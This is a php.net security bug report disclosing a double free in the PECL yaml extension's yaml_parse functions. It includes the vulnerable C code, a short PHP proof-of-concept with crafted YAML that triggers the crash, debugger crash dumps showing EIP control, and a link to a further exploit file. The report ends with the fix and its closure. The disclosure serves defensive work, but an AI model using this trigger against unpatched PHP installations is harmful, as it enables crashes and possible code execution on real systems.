php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #69616 PHP yaml_parse/yaml_parse_file/yaml_parse_url Double Free
Submitted: 2015-05-10 06:11 UTC Modified: 2015-05-18 17:32 UTC
From: johnleitch at outlook dot com Assigned: bd808 (profile)
Status: Closed Package: yaml (PECL)
PHP Version: Irrelevant OS: Irrelevant
Private report: No CVE-ID: None
 [2015-05-10 06:11 UTC] johnleitch at outlook dot com
Description:
------------
The yaml_* parsing functions suffers from an exploitable double free caused by the error path for the php_var_unserialize() call on line 797 of pecl/file_formats/yaml.git/parse.c:

	if (IS_NOT_IMPLICIT_AND_TAG_IS(event, YAML_PHP_TAG)) {
		const unsigned char *p;
		php_unserialize_data_t var_hash;

		p = (const unsigned char *) value;
		PHP_VAR_UNSERIALIZE_INIT(var_hash);

		if (!php_var_unserialize(
				&retval, &p, p + (int) length, &var_hash TSRMLS_CC)) {
			PHP_VAR_UNSERIALIZE_DESTROY(var_hash); <<<<<<<< First free
			php_error_docref(NULL TSRMLS_CC, E_NOTICE,
					"Failed to unserialize class");
			/* return the serialized string directly */
			ZVAL_STRINGL(retval, value, length, 1);
		}

		PHP_VAR_UNSERIALIZE_DESTROY(var_hash); <<<<<<<< Second free
		return retval;
	}
    
Should php_var_unserialize return false, var_hash is immediately freed via PHP_VAR_UNSERIALIZE_DESTROY, and then freed once more prior to the function returning. This code path can be forced by crafting a YAML document that contains an invalid !php/object value. An example is as follows:

<?php 

$yaml = <<<YAML
a:  !php/object O:0:1
b: !php/object



YAML;
yaml_parse($yaml);
?>

And it produces the following crash:

eax=00000000 ebx=55a0b760 ecx=02fc9e58 edx=000a0d08 esi=015c41f8 edi=02deedc8
eip=55a0b7dc esp=014ce1d0 ebp=00000000 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010297
php5ts!_efree+0x7c:
55a0b7dc 8b043a          mov     eax,dword ptr [edx+edi] ds:002b:02e8fad0=??????
??
0:000> k
ChildEBP RetAddr
014ce1d8 55b9d92c php5ts!_efree+0x7c
014ce1ec 613b45bd php5ts!var_destroy+0x1c
014ce25c 613b50fb php_yaml!eval_scalar+0x60d
014ce2ac 613b4a38 php_yaml!handle_scalar+0x2b
014ce2c8 613b4d09 php_yaml!get_next_element+0xb8
014ce384 613b4a16 php_yaml!handle_mapping+0x159
014ce3a0 613b4afe php_yaml!get_next_element+0x96
014ce3c4 613b3f33 php_yaml!handle_document+0x5e
014ce3e4 613b5f37 php_yaml!php_yaml_read_partial+0x93
014ce560 559e8721 php_yaml!zif_yaml_parse+0x177
014ce5c4 559e7de8 php5ts!zend_do_fcall_common_helper_SPEC+0x161
014ce600 559d33ea php5ts!execute_ex+0x378
014ce628 559d31ab php5ts!zend_execute+0x1ca
014ce65c 559d3694 php5ts!zend_execute_scripts+0x14b
014ce86c 770c9580 php5ts!php_execute_script+0x1b4
014ce8c4 76b9a3fa ntdll!RtlInitializeCriticalSectionEx+0xc2
014ce8dc 76b9a293 KERNELBASE!BasepInitializeFindFileHandle+0x51
014cecac 76b9a293 KERNELBASE!FindFirstFileExW+0x347
014cefb4 76bc39cc KERNELBASE!FindFirstFileExW+0x347
014cf25c 770eb1b7 KERNELBASE!FindFirstFileA+0x6c
014cf29c 770c8891 ntdll!LdrpApplyLookupReference+0x1e
014cf354 770c8c78 ntdll!RtlWow64EnableFsRedirectionEx+0x51
014cf4c4 770c9493 ntdll!RtlDosApplyFileIsolationRedirection_Ustr+0x2d8
014cf528 770c8092 ntdll!LdrpApplyFileNameRedirection+0x96
014cf5fc 770d4d3e ntdll!_SEH_epilog4_GS+0xa
014cf640 00000000 ntdll!LdrpGetProcedureAddress+0x3d

Further, the document can be leveraged to manipulate the layout of memory, allowing for EIP control after the double free has occurred, and thus arbitrary code execution. An example that triggers a DEP access violation can be found here: http://autosectools.com/YamlDoubleFreeDepAV.txt

And it produces the following exploitable crash: 

0:000> r
eax=b6072cb5 ebx=00000000 ecx=55fc7ce0 edx=01564358 esi=02e57450 edi=0155e4b8
eip=b6072cb5 esp=014ce3f0 ebp=014ce45c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
b6072cb5 ??              ???
0:000> k
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
014ce3ec 55a095a9 0xb6072cb5
014ce40c 55d7bbd0 php5ts!_zval_copy_ctor_func+0x139
00000000 00000000 php5ts!zend_std_read_property+0x3967e0

To fix this issue, it is recommended that the free be removed from the error path taken when php_var_unserialize() returns false.

Test script:
---------------
ReadAV:

<?php 

$yaml = <<<YAML
a:  !php/object O:0:1
b: !php/object



YAML;
yaml_parse($yaml);
?>

DEPAV:
http://autosectools.com/YamlDoubleFreeDepAV.txt

Expected result:
----------------
See description.

Actual result:
--------------
See description.

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-05-10 23:42 UTC] stas@php.net
-Assigned To: +Assigned To: bd808
 [2015-05-18 15:13 UTC] bd808@php.net
-Status: Assigned +Status: Closed
 [2015-05-18 15:13 UTC] bd808@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Apr 23 09:01:27 2024 UTC